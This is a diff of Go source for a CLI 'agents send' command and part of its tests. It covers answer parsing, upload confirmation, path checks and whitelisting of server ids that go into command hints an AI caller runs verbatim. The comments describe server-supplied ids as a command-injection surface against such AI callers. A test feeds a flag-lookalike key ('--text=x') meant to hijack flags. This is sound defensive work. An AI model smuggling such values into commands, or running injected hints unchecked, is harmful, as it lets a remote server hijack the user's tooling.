|
||||
WithParam("--answer").
|
||||
WithHint("给选项键用 --answer <question_id>=<option_id>(多选重复同 key),给文字用 --answer <question_id>.text=<文本>,逐条修正后整组重发")
|
||||
}
|
||||
return answers, nil
|
||||
}
|
||||
|
||||
// deriveSendMode classifies the send and runs the per-mode client-side guards
|
||||
// (all offline, all holding under a nil Factory). Conflicting combinations
|
||||
// never silently fall back to another mode. Guard PRECEDENCE is deliberate
|
||||
// mode-first: with several simultaneous mistakes the mode-defining flag's guard
|
||||
// wins (e.g. --answer without --context-id reports the answer guard, not the
|
||||
// missing --text) — the caller learns which MODE it got wrong before which
|
||||
// field it forgot. Returns the parsed answers map for the answer mode (nil
|
||||
// otherwise).
|
||||
func deriveSendMode(opts *sendOptions) (sendMode, map[string][]string, error) {
|
||||
if len(opts.Answers) > 0 {
|
||||
// answer: continues the pending group's own task, so both ids are required.
|
||||
if opts.ContextID == "" || opts.TaskID == "" {
|
||||
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"回答问题组需同时提供 --context-id 与 --task-id").
|
||||
WithParam("--answer").
|
||||
WithHint("--answer 必须与该问题组所属任务的 --context-id/--task-id 一起提供(照抄 task get 输出 meta.next 的命令模板)")
|
||||
}
|
||||
answers, err := parseAnswers(opts.Answers)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
// --text stays optional here: it is the message-level remark, never a
|
||||
// question's answer.
|
||||
return modeAnswer, answers, nil
|
||||
}
|
||||
if opts.TaskID != "" && opts.ContextID == "" {
|
||||
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--task-id 需与 --context-id 一起使用").
|
||||
WithParam("--task-id").
|
||||
WithHint("补充 --context-id <ctx-id> 后重发;该任务所属会话可用 lark-cli agents task get <agent_ref> <task-id> 输出的 context_id 确认")
|
||||
}
|
||||
if opts.Text == "" {
|
||||
return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
|
||||
WithParam("--text").
|
||||
WithHint(`补充 --text "<消息内容>" 后重发;若在回答问题组,用 --answer <question_id>=<option_id> 或 --answer <question_id>.text=<文本>`)
|
||||
}
|
||||
if opts.ContextID != "" {
|
||||
return modeContinue, nil, nil
|
||||
}
|
||||
return modeStart, nil, nil
|
||||
}
|
||||
|
||||
// agentSendRun validates the send inputs, resolves the provider, and either
|
||||
// prints a dry-run preview or dispatches the message. The mode guards run
|
||||
// first so they never touch the network and hold even under a nil Factory. A
|
||||
// send fires once and returns the current task immediately (exit 0); the
|
||||
// caller polls progress via the meta.next `task get ... --watch` hint.
|
||||
func agentSendRun(opts *sendOptions) error {
|
||||
_, answers, err := deriveSendMode(opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validateSendFiles(opts.Files); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// Resolution + --param validation + --dry-run are fully offline, so they work
|
||||
// (and surface validation as exit 2) before the config gate. The card is
|
||||
// built with rt=nil (capability matrix only) for the file gate; --param
|
||||
// validation reads the send operation's own declaration.
|
||||
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Whole-agent brand gate (offline), before the card / any network access.
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
// Send is a core op; gate it on its own Brands too (normally empty ⇒ no-op).
|
||||
if err := opBrandGate(f, spec.Send.Brands, opts.Ref, "send"); err != nil {
|
||||
return err
|
||||
}
|
||||
card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), nil)
|
||||
vp, err := validateParams(opts.Params, spec.Send.Params, iagents.VerbSend, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
in := iagents.SendInput{
|
||||
Text: opts.Text,
|
||||
Files: opts.Files,
|
||||
ContextID: opts.ContextID,
|
||||
TaskID: opts.TaskID,
|
||||
Answers: answers,
|
||||
}
|
||||
|
||||
// --dry-run is a client-side behavior: always available, never
|
||||
// gated by the Card's dry_run capability, and never touches the API.
|
||||
if opts.DryRun {
|
||||
return emitDryRun(f, opts.Cmd, opts.Ref, in, vp.Resolved, opts.Format)
|
||||
}
|
||||
|
||||
// An agent that never enters input_required cannot take a group answer, so
|
||||
// --answer against it is unsupported_capability — gated offline (mirrors the
|
||||
// --file/file_input gate) to save the caller a doomed round-trip.
|
||||
if len(in.Answers) > 0 && !card.Supports(iagents.CapInputRequired) {
|
||||
return capabilityError(opts.Ref, "send with --answer", iagents.CapInputRequired)
|
||||
}
|
||||
|
||||
if len(in.Files) > 0 {
|
||||
// An agent that does not declare file_input cannot take an upload, so
|
||||
// --file against it is unsupported_capability — gated before any network
|
||||
// access, so the user is not told "confirm the upload" for a send that
|
||||
// would be rejected anyway.
|
||||
if !card.Supports(iagents.CapFileInput) {
|
||||
return capabilityError(opts.Ref, "send with --file", iagents.CapFileInput)
|
||||
}
|
||||
// --file exfiltrates local file content off this machine (the provider
|
||||
// reads the file and uploads it to the remote agent). That is an
|
||||
// irreversible, CLI-enforced high-risk write: a real send that would upload
|
||||
// requires --yes, returning confirmation_required (exit 10) before any
|
||||
// network access. dry-run above is exempt — it never uploads.
|
||||
if !opts.Yes {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents send --file",
|
||||
"--file 会把本地文件外发上传到远端 agent(内容离开本机,不可撤回)").
|
||||
WithHint("确认要外发这些文件后,加 --yes 重发")
|
||||
}
|
||||
}
|
||||
|
||||
// A real send calls the API, so it needs a configured client; build the
|
||||
// identity-pinned runtime now (not_configured / exit 3 here is correct).
|
||||
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Local scope preflight: after runtimeFor, before the API call. The check is
|
||||
// all-or-nothing — any real API verb requires the provider's full scope set.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
task, err := spec.Send.Handler(opts.Cmd.Context(), rt, in)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
notice := normalizeTask(task)
|
||||
|
||||
// A send fires and returns the current task immediately (exit 0). Progress is
|
||||
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
|
||||
// hint — send no longer blocks on the task reaching a stop condition.
|
||||
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbSend), opts.Format, notice)
|
||||
}
|
||||
|
||||
// validateSendFiles is the local gate on --file paths, running before any
|
||||
// capability/confirmation gate or network access (dry-run included): every
|
||||
// path must be a relative-within-CWD (the lark-shared safety rule the docs
|
||||
// promise) EXISTING regular file. Violations are collected and reported in one
|
||||
// pass, mirroring the --param collect-all style, so a multi-file send is fixed
|
||||
// in one round-trip. Without this gate a bad path used to be discovered only
|
||||
// by the provider (or worse, silently "uploaded").
|
||||
func validateSendFiles(files []string) error {
|
||||
var viols []string
|
||||
for _, p := range files {
|
||||
abs, err := validate.SafeInputPath(p)
|
||||
if err != nil {
|
||||
viols = append(viols, fmt.Sprintf("%s(仅接受 CWD 内的相对路径)", p))
|
||||
continue
|
||||
}
|
||||
st, err := os.Stat(abs)
|
||||
switch {
|
||||
case err != nil:
|
||||
viols = append(viols, fmt.Sprintf("%s(文件不存在或不可读)", p))
|
||||
case st.IsDir():
|
||||
viols = append(viols, fmt.Sprintf("%s(是目录,--file 只接受文件)", p))
|
||||
}
|
||||
}
|
||||
if len(viols) == 0 {
|
||||
return nil
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"非法的 --file 路径: %s", strings.Join(viols, ";")).
|
||||
WithParam("--file").
|
||||
WithHint("--file 只接受当前目录内的相对路径且文件必须存在,逐条修正后重发")
|
||||
}
|
||||
|
||||
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
|
||||
// reconstructed from the validated input, so a caller can inspect exactly what
|
||||
// a real send would post without contacting the agent. format=pretty (no --jq)
|
||||
// renders the same fields as key: value lines instead of the envelope.
|
||||
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagents.SendInput, params map[string]string, format string) error {
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintln(out, "dry_run: true")
|
||||
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
|
||||
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
|
||||
if len(in.Files) > 0 {
|
||||
fmt.Fprintf(out, "files: %d\n", len(in.Files))
|
||||
}
|
||||
if len(params) > 0 {
|
||||
fmt.Fprintf(out, "params: %d\n", len(params))
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
|
||||
}
|
||||
if len(in.Answers) > 0 {
|
||||
fmt.Fprintf(out, "answers: %d\n", len(in.Answers))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
would := map[string]interface{}{
|
||||
"agent_ref": ref,
|
||||
"text": in.Text,
|
||||
}
|
||||
if len(in.Files) > 0 {
|
||||
would["files"] = in.Files
|
||||
}
|
||||
if len(params) > 0 {
|
||||
// Default 回填后的终值:预演即所得。
|
||||
would["params"] = params
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
would["context_id"] = in.ContextID
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
would["task_id"] = in.TaskID
|
||||
}
|
||||
if len(in.Answers) > 0 {
|
||||
// §10.1 键编码原样预览:预演即所得。
|
||||
would["answers"] = in.Answers
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"dry_run": true,
|
||||
"would_send": would,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// nextIDPattern is the character whitelist for server-supplied identifiers
|
||||
// (task_id / context_id / question_id) before they are interpolated into a
|
||||
// meta.next command string: first character alphanumeric, then letters, digits,
|
||||
// '_' and '-'. It is deliberately stricter than validate.ResourceName — that
|
||||
// check is a denylist aimed at URL-path safety and would pass shell
|
||||
// metacharacters (spaces, ';', backticks, quotes), which are exactly what
|
||||
// matters here: meta.next is defined as "AI executes this verbatim", so a
|
||||
// server-controlled id is a command-injection surface. The alphanumeric first
|
||||
// character additionally rejects flag-lookalike ids ("--text", "-o") that would
|
||||
// survive a bare charset test yet hijack the flag surface when an AI re-composes
|
||||
// the command. It matches iagents.KeyPattern by construction — the two layers
|
||||
// must agree or a key accepted at one becomes a dead end at the other.
|
||||
var nextIDPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `$`)
|
||||
|
||||
// safeNextID reports whether s may be interpolated into a meta.next command.
|
||||
func safeNextID(s string) bool {
|
||||
return nextIDPattern.MatchString(s)
|
||||
}
|
||||
|
||||
// nextRefPattern is the whitelist for a user-supplied ref before it is
|
||||
// interpolated into a meta.next command or a hint command string: the
|
||||
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
|
||||
// shape ParseRef accepts, further restricted to command-safe characters). A
|
||||
// ref is not server-controlled — the threat model is not injection but
|
||||
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
|
||||
// be executed verbatim), so a failing ref simply drops the command hint.
|
||||
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
|
||||
|
||||
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
|
||||
// command string.
|
||||
func safeNextRef(ref string) bool {
|
||||
return nextRefPattern.MatchString(ref)
|
||||
}
|
||||
|
||||
// nextForTask builds the meta.next[] hints for a send result: a terminal task
|
||||
// suggests fetching its artifacts / detail, a still-running task the poll
|
||||
// command, an input_required task the continue command, and an auth_required
|
||||
// task the re-authorize flow (auth login, not a text continuation). AI callers use
|
||||
// these to chain the next step without guessing the command shape, so every
|
||||
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
|
||||
// and the task_id (safeNextID) each suppress the whole hint when they fail
|
||||
// (prefer dropping the hint over risking injection); a failing context_id
|
||||
// degrades to the <context_id> placeholder,
|
||||
// which keeps the hint while interpolating nothing untrusted. A hint whose
|
||||
// command carries <...> placeholders is marked Template so callers know it
|
||||
// needs substitution before execution.
|
||||
// nextForTask additionally carries business parameters for the TARGET verb of
|
||||
// each suggested command per the three-way rule (see paramArgsFor): given
|
||||
// values that pass the whitelist ride literally, whitelist failures degrade
|
||||
// required params to placeholders, and target-verb-required params the caller
|
||||
// never provided are added as placeholders — so a required parameter is
|
||||
// structurally incapable of falling off the chain. given is what the caller
|
||||
// explicitly provided this call (never backfilled defaults); spec may be nil
|
||||
// in construction-time tests (no params are carried then).
|
||||
// caller is the verb that produced this output: a terminal task viewed via
|
||||
// task get must NOT suggest the very command the caller just ran (a naive AI
|
||||
// following meta.next verbatim would loop on itself); the artifact downloads
|
||||
// remain the only genuine increment there.
|
||||
func nextForTask(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string, caller string) []output.NextAction {
|
||||
if !safeNextRef(ref) {
|
||||
return nil
|
||||
}
|
||||
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
|
||||
return nil
|
||||
}
|
||||
if task.State.ShouldStopPolling() {
|
||||
if task.State == iagents.StateAuthRequired {
|
||||
// auth_required is an agent-side task state — the end user must
|
||||
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
|
||||
// NOT a text continuation like input_required. Point at the auth
|
||||
// re-authorize flow instead of a text continuation. The concrete scopes are the
|
||||
// agent's declared scope set (see the lark-agents skill's prerequisites), so --scope is a
|
||||
// placeholder → Template. ref/task_id are already whitelisted above, so
|
||||
// echoing the re-check command in the label is safe.
|
||||
// label 内嵌的重查命令按三分规则补 task_get 的参数携带——auth_required
|
||||
// 是唯一不指向 agent 子树的 next,链传规则同样不许在这条路上丢必填。
|
||||
recheckArgs, _ := paramArgsFor(spec, iagents.VerbTaskGet, given)
|
||||
return []output.NextAction{{
|
||||
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agents task get %s %s%s)", ref, task.TaskID, recheckArgs),
|
||||
Command: `lark-cli auth login --scope "<required_scopes>"`,
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
if task.State == iagents.StateInputRequired {
|
||||
// A task pausing on a question group: expand ONE per-question template
|
||||
// (design doc §4.4) so the AI never hand-assembles the answer grammar —
|
||||
// the placeholder names the answer form per question type (bare
|
||||
// <option_id> for a choice, marked repeatable for multi-select,
|
||||
// .text=<文本> for free text). All values are placeholders, so the hint
|
||||
// is always a template — which is also why a missing or
|
||||
// whitelist-failing context_id can degrade to the <context_id>
|
||||
// placeholder instead of dropping the hint. Every question_id is
|
||||
// server-supplied and must pass the safeNextID whitelist before
|
||||
// interpolation (normalization upstream guarantees this; a violation
|
||||
// here degrades to the free-text continuation rather than emitting a
|
||||
// key the CLI's own guard would reject).
|
||||
ctxID := task.ContextID
|
||||
if ctxID == "" || !safeNextID(ctxID) {
|
||||
ctxID = "<context_id>"
|
||||
}
|
||||
sendArgs, _ := paramArgsFor(spec, iagents.VerbSend, given)
|
||||
if ir := task.InputRequired; ir != nil && len(ir.Questions) > 0 {
|
||||
parts := make([]string, 0, len(ir.Questions))
|
||||
for _, q := range ir.Questions {
|
||||
if !safeNextID(q.QuestionID) {
|
||||
parts = nil
|
||||
break
|
||||
}
|
||||
switch {
|
||||
case len(q.Options) == 0:
|
||||
parts = append(parts, fmt.Sprintf("--answer %s.text=<文本>", q.QuestionID))
|
||||
case q.MultiSelect:
|
||||
parts = append(parts, fmt.Sprintf("--answer %s=<option_id 多选可重复>", q.QuestionID))
|
||||
default:
|
||||
parts = append(parts, fmt.Sprintf("--answer %s=<option_id>", q.QuestionID))
|
||||
}
|
||||
}
|
||||
if parts != nil {
|
||||
return []output.NextAction{{
|
||||
Label: "把问题组转达给用户后按其答复提交(用户先前指令已唯一确定答案时可代答,须说明依据);选项都不合适的题用 <question_id>.text=<文本>",
|
||||
Command: fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s %s%s", ref, ctxID, task.TaskID, strings.Join(parts, " "), sendArgs),
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
}
|
||||
// No structured group (provider supplied none and normalization had
|
||||
// nothing to synthesize from): plain free-text continuation — the
|
||||
// provider treats a message to its paused task as the answer (§6.5).
|
||||
return []output.NextAction{{
|
||||
Label: "补充输入后向同一任务续发",
|
||||
Command: fmt.Sprintf("lark-cli agents send %s --context-id %s --task-id %s --text <你的答复>%s", ref, ctxID, task.TaskID, sendArgs),
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
// Terminal: suggest reading the final detail, plus a ready-made download
|
||||
// command per artifact (so the AI never has to hand-craft the
|
||||
// `task get --artifact` form itself; -o stays a placeholder → template).
|
||||
// When the caller IS task get, the detail suggestion would be a self-loop
|
||||
// (the exact command just executed) — drop it and keep only the artifact
|
||||
// increments.
|
||||
var next []output.NextAction
|
||||
if caller != iagents.VerbTaskGet {
|
||||
getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
|
||||
next = append(next, output.NextAction{
|
||||
Label: "查看任务详情与产物",
|
||||
Command: fmt.Sprintf("lark-cli agents task get %s %s%s", ref, task.TaskID, getArgs),
|
||||
Template: getTpl,
|
||||
})
|
||||
}
|
||||
next = append(next, artifactNext(ref, task, spec, given)...)
|
||||
return next
|
||||
}
|
||||
getArgs, getTpl := paramArgsFor(spec, iagents.VerbTaskGet, given)
|
||||
return []output.NextAction{{
|
||||
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch)",
|
||||
Command: fmt.Sprintf("lark-cli agents task get %s %s --watch --timeout %s%s", ref, task.TaskID, defaultWatchTimeout, getArgs),
|
||||
Template: getTpl,
|
||||
}}
|
||||
}
|
||||
|
||||
// artifactNext builds one ready-made download command per artifact of a
|
||||
// terminal task: only when the spec wires DownloadArtifact, only for artifact
|
||||
// ids that pass the whitelist (a failing id skips just that artifact), always
|
||||
// template (the -o save path is the caller's choice). Params carry per the
|
||||
// three-way rule against the artifact_download declaration.
|
||||
func artifactNext(ref string, task *iagents.AgentTask, spec *iagents.AgentSpec, given map[string]string) []output.NextAction {
|
||||
if spec == nil || !task.IsTerminal || len(task.Artifacts) == 0 {
|
||||
return nil
|
||||
}
|
||||
if op, ok := spec.Op(iagents.VerbArtifactDownload); !ok || !op.Wired {
|
||||
return nil
|
||||
}
|
||||
dlArgs, _ := paramArgsFor(spec, iagents.VerbArtifactDownload, given)
|
||||
var next []output.NextAction
|
||||
for _, a := range task.Artifacts {
|
||||
if a.ID == "" || !safeNextID(a.ID) {
|
||||
continue // 服务端 id 过不了白名单 → 跳过该产物,不冒注入险
|
||||
}
|
||||
next = append(next, output.NextAction{
|
||||
// label 只内插已过白名单的 id;产物名是 agent 可控文本,不进 label。
|
||||
Label: fmt.Sprintf("下载产物 %s", a.ID),
|
||||
Command: fmt.Sprintf("lark-cli agents task get %s %s --artifact %s -o <保存路径>%s", ref, task.TaskID, a.ID, dlArgs),
|
||||
Template: true,
|
||||
})
|
||||
}
|
||||
return next
|
||||
}
|
||||
|
||||
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
|
||||
// still-running task: a safe default that avoids an unbounded --watch blocking
|
||||
// forever on a long task and stops an AI caller from self-hammering. On expiry
|
||||
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
|
||||
// caller re-watches in segments rather than blocking once. `--watch` used alone
|
||||
// (--timeout 0) stays unbounded for backward compatibility.
|
||||
const defaultWatchTimeout = 30 * time.Second
|
||||
546
cmd/agents/send_test.go
Normal file
546
cmd/agents/send_test.go
Normal file
@@ -0,0 +1,546 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// sendCmdCtx builds a `lark-cli agents send` leaf command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning) and whose --as flag is
|
||||
// explicitly set to bot so ResolveAs honors it verbatim.
|
||||
func sendCmdCtx(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agents"}
|
||||
leaf := &cobra.Command{Use: "send"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if err := leaf.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
|
||||
// the scripted fakeflow agent agt_x under an explicit bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test — everything under test here is command-layer behavior over the
|
||||
// scripted provider.
|
||||
// mkSendFile chdirs to a temp dir and creates name there, so --file passes the
|
||||
// relative-within-CWD + existence gate (validateSendFiles) in tests.
|
||||
func mkSendFile(t *testing.T, name string) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
old, err := os.Getwd()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Chdir(dir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = os.Chdir(old) })
|
||||
if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func sendTestOpts(t *testing.T) *sendOptions {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
return &sendOptions{
|
||||
Factory: f,
|
||||
Cmd: sendCmdCtx(t),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendRequiresText pins that an empty --text is a validation error
|
||||
// (subtype invalid_argument) raised before any provider is built.
|
||||
func TestSendRequiresText(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
|
||||
if err == nil {
|
||||
t.Fatal("missing --text should raise a validation error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: a missing --text must carry a copy-pasteable remediation
|
||||
// hint, and the param uses the -- prefix.
|
||||
if !strings.Contains(p.Hint, "--text") {
|
||||
t.Errorf("hint should guide adding --text, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--text" {
|
||||
t.Errorf("param should be --text, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
|
||||
// validation error, raised before any provider is built.
|
||||
func TestSendTaskIDRequiresContextID(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
|
||||
if err == nil {
|
||||
t.Fatal("--task-id without --context-id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: state the next step clearly (--task-id must be provided
|
||||
// together with --context-id).
|
||||
if !strings.Contains(p.Hint, "--context-id") {
|
||||
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--task-id" {
|
||||
t.Errorf("param should be --task-id, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendAnswerGroup pins the structured input_required answer path: --answer
|
||||
// entries need no --text, and they reach the provider hook as the §10.1 map
|
||||
// encoding — keys verbatim (bare vs .text), values in argv order, multi-select
|
||||
// accumulated, exact duplicates deduplicated.
|
||||
func TestSendAnswerGroup(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.ContextID = "sess_1"
|
||||
opts.TaskID = "task_1"
|
||||
opts.Answers = []string{
|
||||
"q1_a8=by_region",
|
||||
"q2_a8.text=2024 全年",
|
||||
"q3_a8=east", "q3_a8=north", "q3_a8=east", // exact dup → deduped
|
||||
}
|
||||
// deliberately no opts.Text — the answers ARE the message.
|
||||
var got iagents.SendInput
|
||||
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
got = in
|
||||
return &iagents.AgentTask{TaskID: "task_1", ContextID: "sess_1", State: iagents.StateCompleted}, nil
|
||||
}})
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("answering a group should not require --text: %v", err)
|
||||
}
|
||||
if v := got.Answers["q1_a8"]; len(v) != 1 || v[0] != "by_region" {
|
||||
t.Errorf("bare answer should reach the hook as-is, got %v", got.Answers["q1_a8"])
|
||||
}
|
||||
if v := got.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
|
||||
t.Errorf(".text key should stay verbatim in the map, got %v", got.Answers["q2_a8.text"])
|
||||
}
|
||||
if v := got.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
|
||||
t.Errorf("multi-select should accumulate in argv order and dedupe exact repeats, got %v", got.Answers["q3_a8"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendAnswerRequiresTaskContext pins that answering a group needs the
|
||||
// task/context it belongs to (mode-first guard, before key parsing).
|
||||
func TestSendAnswerRequiresTaskContext(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1=by_region"}})
|
||||
if err == nil {
|
||||
t.Fatal("--answer without --context-id/--task-id should error")
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--answer" {
|
||||
t.Errorf("param should be --answer, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendAnswerGrammar pins the offline --answer key/value grammar in one
|
||||
// collect-all pass: a non-key=value entry, a near-miss suffix (.txt), a
|
||||
// flag-lookalike key, an empty value, and a duplicated .text entry are ALL
|
||||
// reported in one error; none of them reaches any provider.
|
||||
func TestSendAnswerGrammar(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "sess_1", TaskID: "task_1",
|
||||
Answers: []string{
|
||||
"noequals", // 非 key=value
|
||||
"q1.txt=x", // 后缀拼错:非法 key
|
||||
"--text=x", // flag 形状 key:首字符非法
|
||||
"q2=", // 空值
|
||||
"q3.text=a", "q3.text=b", // .text 不累积
|
||||
}})
|
||||
if err == nil {
|
||||
t.Fatal("illegal --answer entries should error offline")
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--answer" {
|
||||
t.Fatalf("param should be --answer, got %+v", verr)
|
||||
}
|
||||
for _, frag := range []string{"noequals", "q1.txt", "--text", "q2", "q3.text"} {
|
||||
if !strings.Contains(verr.Problem.Message, frag) {
|
||||
t.Errorf("collect-all message should name %q, got %q", frag, verr.Problem.Message)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// workingTask is the canonical non-terminal task the scripted Send returns for
|
||||
// the happy-path tests.
|
||||
func workingTask() *iagents.AgentTask {
|
||||
return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}
|
||||
}
|
||||
|
||||
// TestSendPrettyFormat pins that `send --format pretty` renders the
|
||||
// resulting task as key: value lines (previously the flag was registered but
|
||||
// silently ignored).
|
||||
func TestSendPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --format pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
|
||||
